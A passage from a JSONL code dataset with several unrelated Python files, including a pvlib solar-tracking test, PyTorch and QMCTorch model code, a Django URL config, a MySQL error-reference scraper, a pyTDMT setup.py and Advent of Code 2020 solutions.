index.tz_localize('Etc/GMT+5')\n expected_data = pd.DataFrame(index=index, data=[\n ( 2.404287, 122.79177, -84.440, -10.899),\n (11.263058, 133.288729, -72.604, -25.747),\n (18.733558, 145.285552, -59.861, -59.861),\n (24.109076, 158.939435, -45.578, -45.578),\n (26.810735, 173.931802, -28.764, -28.764),\n (26.482495, 189.371536, -8.475, -8.475),\n (23.170447, 204.13681, 15.120, 15.120),\n (17.296785, 217.446538, 39.562, 39.562),\n ( 9.461862, 229.102218, 61.587, 32.339),\n ( 0.524817, 239.330401, 79.530, 5.490),\n ], columns=['ApparentElevation', 'SolarAzimuth',\n 'TrueTracking', 'Backtracking'])\n expected_axis_tilt = 9.666\n expected_slope_angle = -2.576\n slope_azimuth, slope_tilt = 180.0, 10.0\n axis_azimuth = 195.0\n axis_tilt = tracking.calc_axis_tilt(\n slope_azimuth, slope_tilt, axis_azimuth)\n assert np.isclose(axis_tilt, expected_axis_tilt, rtol=1e-3, atol=1e-3)\n cross_axis_tilt = tracking.calc_cross_axis_tilt(\n slope_azimuth, slope_tilt, axis_azimuth, axis_tilt)\n assert np.isclose(\n cross_axis_tilt, expected_slope_angle, rtol=1e-3, atol=1e-3)\n sat = tracking.singleaxis(\n 90.0-expected_data['ApparentElevation'], expected_data['SolarAzimuth'],\n axis_tilt, axis_azimuth, max_angle=90.0, backtrack=True, gcr=0.5,\n cross_axis_tilt=cross_axis_tilt)\n assert_series_equal(sat['tracker_theta'],\n expected_data['Backtracking'].rename('tracker_theta'),\n check_less_precise=True)\n truetracking = tracking.singleaxis(\n 90.0-expected_data['ApparentElevation'], expected_data['SolarAzimuth'],\n axis_tilt, axis_azimuth, max_angle=90.0, backtrack=False, gcr=0.5,\n cross_axis_tilt=cross_axis_tilt)\n assert_series_equal(truetracking['tracker_theta'],\n expected_data['TrueTracking'].rename('tracker_theta'),\n check_less_precise=True)\n\n\ndef test_singleaxis_aoi_gh1221():\n # vertical tracker\n loc = pvlib.location.Location(40.1134, -88.3695)\n dr = pd.date_range(\n start='02-Jun-1998 00:00:00', end='02-Jun-1998 23:55:00', freq='5T',\n tz='Etc/GMT+6')\n sp = loc.get_solarposition(dr)\n tr = pvlib.tracking.singleaxis(\n sp['apparent_zenith'], sp['azimuth'], axis_tilt=90, axis_azimuth=180,\n max_angle=0.001, backtrack=False)\n fixed = pvlib.irradiance.aoi(90, 180, sp['apparent_zenith'], sp['azimuth'])\n fixed[np.isnan(tr['aoi'])] = np.nan\n assert np.allclose(tr['aoi'], fixed, equal_nan=True)\n","sub_path":"pvlib/tests/test_tracking.py","file_name":"test_tracking.py","file_ext":"py","file_size_in_byte":22030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"43752166","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom im2mesh.r2n2.models.decoder import Decoder\n\n\n# Decoder dictionary\ndecoder_dict = {\n 'simple': Decoder,\n}\n\n\nclass R2N2(nn.Module):\n ''' The 3D Recurrent Reconstruction Neural Network (3D-R2N2) model.\n\n For details regarding the model, please see\n https://arxiv.org/abs/1604.00449\n\n As single-view images are used as input, we do not use the recurrent\n module.\n\n Args:\n decoder (nn.Module): decoder network\n encoder (nn.Module): encoder network\n '''\n\n def __init__(self, decoder, encoder, h_shape):\n super().__init__()\n self.decoder = decoder\n self.encoder = encoder\n self.h_shape = h_shape\n\n def forward(self, x):\n c = self.encode_inputs(x)\n occ_hat = self.decoder(c)\n return occ_hat\n\n def encode_inputs(self, x):\n ''' Encodes the input.\n\n Args:\n input (tensor): the input\n '''\n #initialize the hidden state and update gate\n h_shape = (x.shape[0], *self.h_shape[1:])\n h = self.initHidden(h_shape)\n u = self.initHidden(h_shape)\n\n\n #a list used to store intermediate update gate activations\n u_list = []\n\n \"\"\"\n x is the input and the size of x is (num_views, batch_size, channels, heights, widths).\n h and u is the hidden state and activation of last time step respectively.\n The following loop computes the forward pass of the whole network.\n \"\"\"\n x = x.transpose(0, 1)\n for time in range(x.size(0)):\n gru_out, update_gate = self.encoder(x[time], h, u, time)\n\n h = gru_out\n\n u = update_gate\n u_list.append(u)\n\n return h.view(x.size(1), -1)\n\n def initHidden(self, h_shape):\n h = torch.zeros(h_shape)\n if torch.cuda.is_available():\n h = h.cuda()\n return Variable(h)\n","sub_path":"im2mesh/r2n2/models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"282924986","text":"\"\"\"epidemic URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', include(('apps.core.urls', 'core'))),\n path('sir/', include(('apps.sir.urls', 'sir'))),\n path('sirs/', include(('apps.sirs.urls', 'sirs'))),\n path('seir/', include(('apps.seir.urls', 'seir'))),\n path('seirs/', include(('apps.seirs.urls', 'seirs'))),\n path('si/', include(('apps.si.urls', 'si'))),\n path('sis/', include(('apps.sis.urls', 'sis'))),\n path('sird/', include(('apps.sird.urls', 'sird'))),\n path('sirds/', include(('apps.sirds.urls', 'sirds'))),\n path('seird/', include(('apps.seird.urls', 'seird'))),\n path('seirds/', include(('apps.seirds.urls', 'seirds'))),\n]\n","sub_path":"config/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"335537450","text":"import os\r\nimport re\r\nfrom typing import TypedDict, List\r\n\r\nimport requests\r\nfrom git import Repo\r\nfrom jinja2 import Environment, PackageLoader\r\nfrom lxml import html\r\n\r\n\r\nclass MysqlError(TypedDict):\r\n message: str\r\n name: str\r\n code: int\r\n state: str\r\n\r\n\r\ndef template(errors: List[MysqlError]):\r\n env = Environment(loader=PackageLoader(\"mysql_error\", \"\"))\r\n tmplte = env.get_template(\"mysql_error.ts.j2\")\r\n\r\n with open(\"mysql_error.ts\", \"w\") as result_file:\r\n result_file.write(tmplte.render(errors=errors))\r\n\r\n\r\ndef scrape():\r\n response = requests.get(\"https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\")\r\n document = html.fromstring(response.text)\r\n error_tags = document.cssselect(\"div.chapter > div > ul > li\")\r\n first_pattern = re.compile(\"^\\\\s*Error number: (\\\\d+); Symbol: (.+); SQLSTATE: (.+)\\\\s*$\")\r\n second_pattern = re.compile(\"^\\\\s*Message: (.+)\\\\s*$\")\r\n\r\n errors = []\r\n\r\n for error_element in error_tags:\r\n paragraphs = [e for e in error_element if e.tag == \"p\"]\r\n first_paragraph = \" \".join(str(paragraphs[0].text_content()).split())\r\n match = first_pattern.match(first_paragraph)\r\n\r\n if not match:\r\n # print(f\"Does not match first: {error_element.text_content()}\")\r\n continue\r\n\r\n error_code = int(match[1])\r\n error_symbol = match[2]\r\n error_state = match[3]\r\n\r\n second_paragraph = \" \".join(str(paragraphs[1].text_content()).split())\r\n match = second_pattern.match(second_paragraph)\r\n\r\n if not match:\r\n # print(f\"Does not match second: {error_element.text_content()}\")\r\n continue\r\n\r\n error_message = match[1]\r\n errors.append(MysqlError(message=error_message, name=error_symbol, code=error_code, state=error_state))\r\n return errors\r\n\r\n\r\ndef update_git():\r\n cwd = os.getcwd()\r\n git_path = os.path.join(cwd, \".git\")\r\n\r\n if not os.path.exists(git_path):\r\n repo = Repo.init()\r\n else:\r\n repo = Repo(git_path)\r\n\r\n if repo.untracked_files:\r\n repo.index.add(repo.untracked_files)\r\n repo.index.commit(\"Add untracked files\")\r\n\r\n if repo.is_dirty():\r\n repo.index.commit(\"Update changed files\")\r\n\r\n # try:\r\n # remote = repo.remote(\"origin\")\r\n # except ValueError:\r\n # remote = repo.create_remote(\"origin\", \"https://github.com/mytlogos/common.git\")\r\n\r\n\r\ndef main():\r\n # errors = scrape()\r\n # template(errors)\r\n update_git()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"mysql_error.py","file_name":"mysql_error.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"395189370","text":"import os\nroot='./'\nlist=os.listdir(root)\nlist.sort()\nfor i in range(3,9):\n\tprint(i)\n\tos.system(\"ncks -d ocean_time,0,,2 scs10_his_000\"+str(i)+\".nc ../onehour/scs10_his_000\"+str(i)+\".nc\")\n\t#path=os.path.join(root,list[i])\n\t#if os.path.isdir(path):\n\t#\tos.system(\"mv \"+path+\"/scs10_his_0001.nc ./scs10_his_00\"+str(i+1).zfill(2)+\".nc\")\n\t#\tos.system(\"mv \"+path+\"/scs10_his_0002.nc ../halfhour/scs10_his_00\"+str(i*4+2).zfill(2)+\".nc\")\n\t#\tos.system(\"mv \"+path+\"/scs10_his_0003.nc ../halfhour/scs10_his_00\"+str(i*4+3).zfill(2)+\".nc\")\n\t#\tos.system(\"mv \"+path+\"/scs10_his_0004.nc ../halfhour/scs10_his_00\"+str(i*4+4).zfill(2)+\".nc\")\n\t\t#print path,i\n\t\t#os.system(\"cp \"+path+\"/ocean_scs10_cur_daily.in \"+path+\"/ocean_scs10_cur.in\")\n\t\t#os.system(\"ls \"+path)\n\n\t'''\twith open(path+\"/ocean_scs10_cur.in\",'r') as f:\n\t\t lines=f.readlines()\n\t\t with open(path+\"/ocean_scs10_cur.in\",'w') as f_w:\n\t\t\t for line in lines:\n\t\t\t if \"NHIS == 240\" in line:\n line=\" NHIS == 5\\n\"\n\t\t\t\t if \"NDEFHIS == 960\" in line:\n\t\t\t\t\t line=\" NDEFHIS == 240\\n\"\n\t\t f_w.write(line.encode('utf-8'))\n ''' \n","sub_path":"trick.py","file_name":"trick.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"471149946","text":"from copy import deepcopy\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nfrom scipy.optimize import curve_fit\nfrom torch import nn\n\nfrom .. import log\nfrom ..utils import register_extra_attributes\nfrom .orbitals.atomic_orbitals import AtomicOrbitals\nfrom .pooling.kinetic_pooling import KineticPooling\nfrom .pooling.orbital_configurations import OrbitalConfigurations\nfrom .pooling.slater_pooling import SlaterPooling\nfrom .jastrows.jastrow import set_jastrow\nfrom .wf_orbital_base import OrbitalBase\nfrom .jastrows.jastrow import set_jastrow\n\n\nclass Orbital(OrbitalBase):\n\n def __init__(self, mol, configs='ground_state',\n kinetic='jacobi',\n use_jastrow=True,\n jastrow_type='pade_jastrow',\n cuda=False,\n include_all_mo=True):\n \"\"\"Implementation of the QMC Network.\n\n Args:\n mol (qmc.wavefunction.Molecule): a molecule object\n configs (str, optional): defines the CI configurations to be used. Defaults to 'ground_state'.\n kinetic (str, optional): method to compute the kinetic energy. Defaults to 'jacobi'.\n use_jastrow (bool, optional): turn jastrow factor ON/OFF. Defaults to True.\n cuda (bool, optional): turns GPU ON/OFF Defaults to False.\n include_all_mo (bool, optional): include either all molecular orbitals or only the ones that are\n popualted in the configs. Defaults to False\n Examples::\n >>> mol = Molecule('h2o.xyz', calculator='adf', basis = 'dzp')\n >>> wf = Orbital(mol, configs='cas(2,2)')\n \"\"\"\n\n super(Orbital, self).__init__(mol, configs, kinetic,\n use_jastrow, jastrow_type, cuda, include_all_mo)\n\n self.jastrow = set_jastrow(\n jastrow_type, self.mol.nup, self.mol.ndown, self.cuda)\n\n if self.cuda:\n self.jastrow = self.jastrow.to(self.device)\n\n self.log_data()\n\n def forward(self, x, ao=None):\n \"\"\"computes the value of the wave function for the sampling points\n\n .. math::\n \\\\Psi(R) = \\\\sum_{n} c_n D^{u}_n(r^u) \\\\times D^{d}_n(r^d)\n\n Args:\n x (torch.tensor): sampling points (Nbatch, 3*Nelec)\n ao (torch.tensor, optional): values of the atomic orbitals (Nbatch, Nelec, Nao)\n\n Returns:\n torch.tensor: values of the wave functions at each sampling point (Nbatch, 1)\n\n Examples::\n >>> mol = Molecule('h2.xyz', calculator='adf', basis = 'dzp')\n >>> wf = Orbital(mol, configs='cas(2,2)')\n >>> pos = torch.rand(500,6)\n >>> vals = wf(pos)\n \"\"\"\n\n if self.use_jastrow:\n J = self.jastrow(x)\n\n # atomic orbital\n if ao is None:\n x = self.ao(x)\n else:\n x = ao\n\n # molecular orbitals\n x = self.mo_scf(x)\n\n # mix the mos\n x = self.mo(x)\n\n # pool the mos\n x = self.pool(x)\n\n if self.use_jastrow:\n return J * self.fc(x)\n\n else:\n return self.fc(x)\n\n def ao2mo(self, ao):\n return self.mo(self.mo_scf(ao))\n\n def pos2mo(self, x, derivative=0):\n \"\"\"Get the values of MOs\n\n Arguments:\n x {torch.tensor} -- positions of the electrons [nbatch, nelec*ndim]\n\n Keyword Arguments:\n derivative {int} -- order of the derivative (default: {0})\n\n Returns:\n torch.tensor -- MO matrix [nbatch, nelec, nmo]\n \"\"\"\n return self.mo(self.mo_scf(self.ao(x, derivative=derivative)))\n\n def kinetic_energy_jacobi(self, x, kinpool=False, **kwargs):\n r\"\"\"Compute the value of the kinetic enery using the Jacobi Formula.\n C. Filippi, Simple Formalism for Efficient Derivatives .\n\n .. math::\n \\\\frac{K(R)}{\\Psi(R)} = Tr(A^{-1} B_{kin})\n\n Args:\n x (torch.tensor): sampling points (Nbatch, 3*Nelec)\n kinpool (bool, optional): use kinetic pooling (deprecated). Defaults to False\n\n Returns:\n torch.tensor: values of the kinetic energy at each sampling points\n \"\"\"\n\n ao, dao, d2ao = self.ao(x, derivative=[0, 1, 2])\n mo = self.ao2mo(ao)\n bkin = self.get_kinetic_operator(x, ao, dao, d2ao, mo)\n\n if kinpool:\n log.info(' Warning : Kinpool energy calculation untested')\n kin, psi = self.kinpool(mo, bkin)\n return self.fc(kin) / self.fc(psi)\n\n else:\n kin = self.pool.operator(mo, bkin)\n psi = self.pool(mo)\n out = self.fc(kin * psi) / self.fc(psi)\n return out\n\n def gradients_jacobi(self, x, pdf=False):\n \"\"\"Compute the gradients of the wave function (or density) using the Jacobi Formula\n C. Filippi, Simple Formalism for Efficient Derivatives.\n\n .. math::\n \\\\frac{K(R)}{\\Psi(R)} = Tr(A^{-1} B_{grad})\n\n Args:\n x (torch.tensor): sampling points (Nbatch, 3*Nelec)\n pdf (bool, optional) : if true compute the grads of the density\n\n Returns:\n torch.tensor: values of the gradients wrt the walker pos at each sampling points\n \"\"\"\n\n # compute the gradient operator matrix\n ao = self.ao(x)\n grad_ao = self.ao(x, derivative=1, jacobian=False)\n mo = self.ao2mo(ao)\n bgrad = self.get_grad_operator(x, ao, grad_ao, mo)\n\n # use the Jacobi formula to compute the value\n # the grad of each determinants\n grads = self.pool.operator(mo, bgrad)\n\n # compute the determinants\n dets = self.pool(mo)\n\n # CI sum\n psi = self.fc(dets)\n\n # assemble the final values of\n # nabla psi / psi\n grads = self.fc(grads * dets)\n grads = grads.transpose(0, 1).squeeze()\n\n # multiply by psi to get the grads\n # grads = grads * psi\n if self.use_jastrow:\n jast = self.jastrow(x)\n grads = grads * jast\n\n # if we need the grads of the pdf\n if pdf:\n grads = 2*grads*psi\n if self.use_jastrow:\n grads = grads*jast\n\n return grads\n\n def get_grad_operator(self, x, ao, grad_ao, mo):\n \"\"\"Compute the gradient operator\n\n Args:\n x ([type]): [description]\n ao ([type]): [description]\n dao ([type]): [description]\n \"\"\"\n\n bgrad = self.ao2mo(grad_ao.transpose(2, 3)).transpose(2, 3)\n bgrad = bgrad.permute(3, 0, 1, 2)\n bgrad = bgrad.repeat(self.nelec, 1, 1, 1)\n # bgrad = bgrad.repeat(2, 1, 1, 1)\n\n for ielec in range(self.nelec):\n bgrad[ielec*3:(ielec+1)*3, :, :ielec, :] = 0\n bgrad[ielec*3:(ielec+1)*3, :, ielec+1:, :] = 0\n\n if self.use_jastrow:\n\n jast = self.jastrow(x)\n grad_jast = self.jastrow(x,\n derivative=1,\n jacobian=False)\n grad_jast = grad_jast.transpose(1, 2) / jast.unsqueeze(-1)\n\n grad_jast = grad_jast.flatten(start_dim=1)\n grad_jast = grad_jast.transpose(0, 1)\n\n grad_jast = grad_jast.unsqueeze(2).unsqueeze(3)\n bgrad = bgrad + 0.5 * grad_jast * mo.unsqueeze(0)\n\n return bgrad\n\n def get_kinetic_operator(self, x, ao, dao, d2ao, mo):\n \"\"\"Compute the Bkin matrix\n\n Args:\n x (torch.tensor): sampling points (Nbatch, 3*Nelec)\n mo (torch.tensor, optional): precomputed values of the MOs\n\n Returns:\n torch.tensor: matrix of the kinetic operator\n \"\"\"\n\n bkin = self.ao2mo(d2ao)\n\n if self.use_jastrow:\n\n jast, djast, d2jast = self.jastrow(x,\n derivative=[0, 1, 2],\n jacobian=False)\n\n djast = djast.transpose(1, 2) / jast.unsqueeze(-1)\n d2jast = d2jast / jast\n\n dmo = self.ao2mo(dao.transpose(2, 3)).transpose(2, 3)\n\n djast_dmo = (djast.unsqueeze(2) * dmo).sum(-1)\n d2jast_mo = d2jast.unsqueeze(-1) * mo\n\n bkin = bkin + 2 * djast_dmo + d2jast_mo\n\n return -0.5 * bkin\n","sub_path":"qmctorch/wavefunction/wf_orbital.py","file_name":"wf_orbital.py","file_ext":"py","file_size_in_byte":8336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"80039154","text":"\"\"\"A setuptools based setup module for pyDMT. package.\n\"\"\"\n\n# Always prefer setuptools over distutils\nfrom setuptools import setup, find_packages\nimport sys\nimport os\n# To use a consistent encoding\nfrom codecs import open\nfrom os import path\nimport glob\ntry:\n from pypandoc import convert\n read_md = lambda f: convert(f, 'rst')\nexcept ImportError:\n msg = ' '.join([])\n msg = ' '.join([\"warning: pypandoc module not found,\",\n \" could not convert Markdown to RST\"])\n print(msg)\n read_md = lambda f: open(f, 'r').read()\n\nREAD_THE_DOCS = os.environ.get('READTHEDOCS', None) == 'True'\n\nhere = path.abspath(path.dirname(__file__))\n\n# Get the long description from the relevant file\nlong_description = \"pyDMT - python based Time-domain moment-tensor inversion\"\n\n# Get a list of all the scripts not to be installed\nscriptfiles = glob.glob('pytdmt/pytdmt.pytdmt')\n\nif sys.version_info.major == 2:\n if not READ_THE_DOCS:\n install_requires = ['numpy>=1.8.0', 'obspy>=1.0.0',\n 'matplotlib>=1.3.0',\n 'scipy>=0.14']\n else:\n install_requires = ['numpy>=1.8.0', 'obspy>=1.0.0',\n 'matplotlib>=1.3.0']\nelse:\n if not READ_THE_DOCS:\n install_requires = ['numpy>=1.8.0', 'obspy>=0.10.2',\n 'matplotlib>=1.3.0',\n 'scipy>=0.14']\n else:\n install_requires = ['numpy>=1.8.0', 'obspy>=0.10.2',\n 'matplotlib>=1.3.0']\n# install_requires.append('ConfigParser')\nsetup(\n name='pyTDMT',\n\n # Versions should comply with PEP440. For a discussion on single-sourcing\n # the version across setup.pytdmt and the project code, see\n # https://packaging.python.org/en/latest/single_source_version.html\n version='2.5',\n\n description=long_description,\n long_description=long_description,\n\n # The project's main homepage.\n url='https://github.com/calum-chamberlain/pydmt',\n\n # Author details\n author='fabriziobernardi',\n author_email='',\n\n # Choose your license\n license='',\n\n # See https://pypi.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n # How mature is this project? Common values are\n # 3 - Alpha\n # 4 - Beta\n # 5 - Production/Stable\n 'Development Status :: 3 - Beta',\n\n # Indicate who your project is intended for\n 'Intended Audience :: Science/Research',\n 'Topic :: Scientific/Engineering',\n\n # Pick your license as you wish (should match \"license\" above)\n 'License :: OSI Approved :: GNU Library or Lesser General Public ' +\n 'License (LGPL)',\n\n # Specify the Python versions you support here. In particular, ensure\n # that you indicate whether you support Python 2, Python 3 or both.\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.5',\n ],\n\n # What does your project relate to?\n keywords='earthquake correlation detection match-filter',\n\n # You can just specify the packages manually here if your project is\n # simple. Or you can use find_packages().\n packages=find_packages(),\n\n scripts=scriptfiles,\n\n # List run-time dependencies here. These will be installed by pip when\n # your project is installed. For an analysis of \"install_requires\" vs pip's\n # requirements files see:\n # https://packaging.python.org/en/latest/requirements.html\n install_requires=install_requires,\n\n # Test requirements for using pytest\n setup_requires=['pytest-runner'],\n tests_require=['pytest', 'pytest-cov'],\n # List additional groups of dependencies here (e.g. development\n # dependencies). You can install these using the following syntax,\n # for example:\n # $ pip install -e .[dev,test]\n # extras_require={\n # 'dev': ['check-manifest'],\n # 'test': ['coverage'],\n # },\n\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"253855444","text":"#!/usr/bin/env python3\n#\n# Usage: ./advent_2020.py\n# Descriptions of problems can be found here: https://adventofcode.com/2020\n# Script runs a test for every function with test data that is stored in 'IN_'\n# variable. The expected result should be stored in function's docstring. Everything before\n# the last question mark will be ignored.\n\n\ndef main():\n import inspect\n functions = [a for a in globals().values() if callable(a) and a.__name__ != 'main']\n print('|' + ' ' * len(functions) + ' |', end='', flush=True)\n for i, function in enumerate(reversed(functions), 1):\n print(function.__name__ + ' ', end='', flush=True)\n no_of_params = len(inspect.signature(function).parameters)\n if no_of_params > 0:\n input_name = 'IN_' + function.__name__.split('_')[1]\n lines = globals()[input_name].splitlines()\n result = function(lines)\n else:\n result = function()\n expected_result = function.__doc__.split('?')[-1].strip()\n if str(result) != expected_result:\n print(f'\\nFunction \"{function.__name__}\" returned {result} instead of',\n f'{expected_result}.')\n break\n print('\\r|' + '█'*i + ' '*(len(functions)-i) + '| ', end='', flush=True)\n else:\n print('\\nAll tests passed.')\n\n\n###\n## DAY 1: Entries\n#\n\nIN_1 = \\\n'''1721\n979\n366\n299\n675\n1456'''\n\n\ndef problem_1_a(lines):\n '''Find the two entries that sum to 2020; what do you get if you multiply them together?\n 514579'''\n import itertools\n numbers = [int(line) for line in lines]\n for l, r in itertools.combinations(numbers, 2):\n if l + r == 2020:\n return l * r\n\n\ndef problem_1_b(lines):\n '''In your expense report, what is the product of the three entries that sum to 2020?\n 241861950'''\n import itertools\n numbers = [int(line) for line in lines]\n for a, b, c in itertools.combinations(numbers, 3):\n if a + b + c == 2020:\n return a * b * c\n\n\n###\n## DAY 2: Passwords\n#\n\nIN_2 = \\\n'''1-3 a: abcde\n1-3 b: cdefg\n2-9 c: ccccccccc'''\n\n\ndef problem_2_a(lines):\n '''How many passwords are valid according to their policies? 2'''\n import re\n def is_valid(line):\n min_, max_, letter, password = re.match('^(\\d+)-(\\d+) (\\w): (\\w+)$', line).groups()\n return int(min_) <= password.count(letter) <= int(max_)\n return sum(is_valid(line) for line in lines)\n\n\ndef problem_2_b(lines):\n '''How many passwords are valid according to the new interpretation of the policies? 1'''\n import re\n def is_valid(line):\n i_1, i_2, letter, password = re.match('^(\\d+)-(\\d+) (\\w): (\\w+)$', line).groups()\n return (password[int(i_1)-1] == letter) + (password[int(i_2)-1] == letter) == 1\n return sum(is_valid(line) for line in lines)\n\n\n###\n## DAY 3: Trees\n#\n\nIN_3 = \\\n'''..##.......\n#...#...#..\n.#....#..#.\n..#.#...#.#\n.#...##..#.\n..#.##.....\n.#.#.#....#\n.#........#\n#.##...#...\n#...##....#\n.#..#...#.#'''\n\n\ndef problem_3_a(lines):\n '''Starting at the top-left corner of your map and following a slope of right 3 and down 1,\n how many trees would you encounter? 7'''\n import collections\n P = collections.namedtuple('P', 'x y')\n positions = (P(x=y*3, y=y) for y in range(len(lines)))\n is_tree = lambda p: lines[p.y][p.x % len(lines[0])] == '#'\n return sum(is_tree(p) for p in positions)\n\n\ndef problem_3_b(lines):\n '''What do you get if you multiply together the number of trees encountered on each of the\n listed slopes? 336'''\n import collections, functools, itertools, operator as op\n P = collections.namedtuple('P', 'x y')\n\n def get_positions(slope):\n x_generator = itertools.count(start=0, step=slope.x)\n return (P(next(x_generator), y) for y in range(0, len(lines), slope.y))\n\n is_tree = lambda p: lines[p.y][p.x % len(lines[0])] == '#'\n count_trees = lambda slope: sum(is_tree(p) for p in get_positions(slope))\n slopes = [P(x=1, y=1), P(x=3, y=1), P(x=5, y=1), P(x=7, y=1), P(x=1, y=2)]\n return functools.reduce(op.mul, (count_trees(slope) for slope in slopes))\n\n\n###\n## DAY 4: Passports\n#\n\nIN_4 = \\\n'''ecl:gry pid:860033327 eyr:2020 hcl:#fffffd\nbyr:1937 iyr:2017 cid:147 hgt:183cm\n\niyr:2013 ecl:amb cid:350 eyr:2023 pid:028048884\nhcl:#cfa07d byr:1929\n\nhcl:#ae17e1 iyr:2013\neyr:2024\necl:brn pid:760753108 byr:1931\nhgt:179cm\n\nhcl:#cfa07d eyr:2025 pid:166559648\niyr:2011 ecl:brn hgt:59in'''\n\n\ndef problem_4_a(lines):\n '''In your batch file, how many passports are valid? 2'''\n passports = ' '.join(lines).split(' ')\n get_keys = lambda passport: {item.split(':')[0] for item in passport.split()}\n is_valid = lambda passport: len(get_keys(passport) - {'cid'}) == 7\n return sum(is_valid(p) for p in passports)\n\n\ndef problem_4_b(lines):\n '''In your batch file, how many passports are valid? 2'''\n import re\n\n def is_passport_valid(passport):\n return sum(is_field_valid(*item.split(':')) for item in passport.split()) == 7\n\n def is_field_valid(key, value):\n RULES = dict(\n byr=lambda v: 1920 <= int(v) <= 2002,\n iyr=lambda v: 2010 <= int(v) <= 2020,\n eyr=lambda v: 2020 <= int(v) <= 2030,\n hgt=lambda v: 150 <= int(v[:-2]) <= 193 if 'cm' in v else 59 <= int(v[:-2]) <= 76,\n hcl=lambda v: re.match('#[0-9a-f]{6}$', v) != None,\n ecl=lambda v: v in 'amb blu brn gry grn hzl oth'.split(),\n pid=lambda v: re.match('\\d{9}$', v) != None\n )\n try:\n return RULES[key](value)\n except Exception:\n return False\n\n passports = ' '.join(lines).split(' ')\n return sum(is_passport_valid(p) for p in passports)\n\n\n###\n## DAY 5: Seat IDs\n#\n\nIN_5 = \\\n'''BBFFBBFLLR\nBBFFBBFLRL\nBBFFBBFRLL'''\n\n\ndef problem_5_a(lines):\n '''What is the highest seat ID on a boarding pass? 820'''\n get_bin = lambda code: ''.join('0' if ch in 'FL' else '1' for ch in code)\n get_id = lambda code: int(get_bin(code), 2)\n return max(get_id(code) for code in lines)\n\n\ndef problem_5_b(lines):\n '''What is the ID of your seat? 819'''\n get_bin = lambda code: ''.join('0' if ch in 'FL' else '1' for ch in code)\n get_id = lambda code: int(get_bin(code), 2)\n taken_ids = {get_id(code) for code in lines}\n all_ids = range(min(taken_ids), max(taken_ids)+1)\n return (set(all_ids) - taken_ids).pop()\n\n\n###\n## DAY 6: Survey\n#\n\nIN_6 = \\\n'''abc\n\na\nb\nc\n\nab\nac\n\na\na\na\na\n\nb'''\n\n\ndef problem_6_a(lines):\n '''For each group, count the number of questions to which anyone answered \"yes\". What is\n the sum of those counts? 11'''\n groups = (set(group) - {' '} for group in ' '.join(lines).split(' '))\n return sum(len(group) for group in groups)\n\n\ndef problem_6_b(lines):\n '''For each group, count the number of questions to which everyone answered \"yes\". What is\n the sum of those counts? 6'''\n import functools, operator as op\n groups = ' '.join(lines).split(' ')\n split_group = lambda group: (set(a) for a in group.split(' '))\n get_common_answers = lambda group: functools.reduce(op.and_, split_group(group))\n return sum(len(get_common_answers(group)) for group in groups)\n\n\n###\n## DAY 7: Bags\n#\n\nIN_7 = \\\n'''light red bags contain 1 bright white bag, 2 muted yellow bags.\ndark orange bags contain 3 bright white bags, 4 muted yellow bags.\nbright white bags contain 1 shiny gold bag.\nmuted yellow bags contain 2 shiny gold bags, 9 faded blue bags.\nshiny gold bags contain 1 dark olive bag, 2 vibrant plum bags.\ndark olive bags contain 3 faded blue bags, 4 dotted black bags.\nvibrant plum bags contain 5 faded blue bags, 6 dotted black bags.\nfaded blue bags contain no other bags.\ndotted black bags contain no other bags.'''\n\n\ndef problem_7_a(lines):\n '''How many bag colors can eventually contain at least one shiny gold bag? 4'''\n import re\n\n def parse_line(line):\n container, contents = line.split(' bags contain ')\n if contents == 'no other bags.':\n return container, set()\n get_color = lambda token: re.search('\\d+ (.*) .*$', token).group(1) \n return container, {get_color(a) for a in contents.split(',')}\n\n bags = dict(parse_line(line) for line in lines)\n out = {k for k, v in bags.items() if 'shiny gold' in v}\n while True:\n new_colors = {k for k, v in bags.items() if out & v}\n if new_colors <= out:\n return len(out)\n out |= new_colors\n\n\ndef problem_7_b(lines):\n '''How many individual bags are required inside your single shiny gold bag? 32'''\n import re\n\n def parse_line(line):\n container, contents = line.split(' bags contain ')\n if contents == 'no other bags.':\n return container, set()\n get_number_and_color = lambda token: re.search('(\\d+) (.*) .*$', token).groups()\n return container, {get_number_and_color(a) for a in contents.split(',')}\n\n def get_n_bags(color):\n contents = bags[color]\n if not contents:\n return 1\n return 1 + sum(int(n) * get_n_bags(color) for n, color in contents)\n\n bags = dict(parse_line(line) for line in lines)\n return get_n_bags('shiny gold') - 1\n\n\n###\n## DAY 8: Program\n#\n\nIN_8 = \\\n'''nop +0\nacc +1\njmp +4\nacc +3\njmp -3\nacc -99\nacc +1\njmp -4\nacc +6'''\n\n\ndef problem_8_a(lines):\n '''Run your copy of 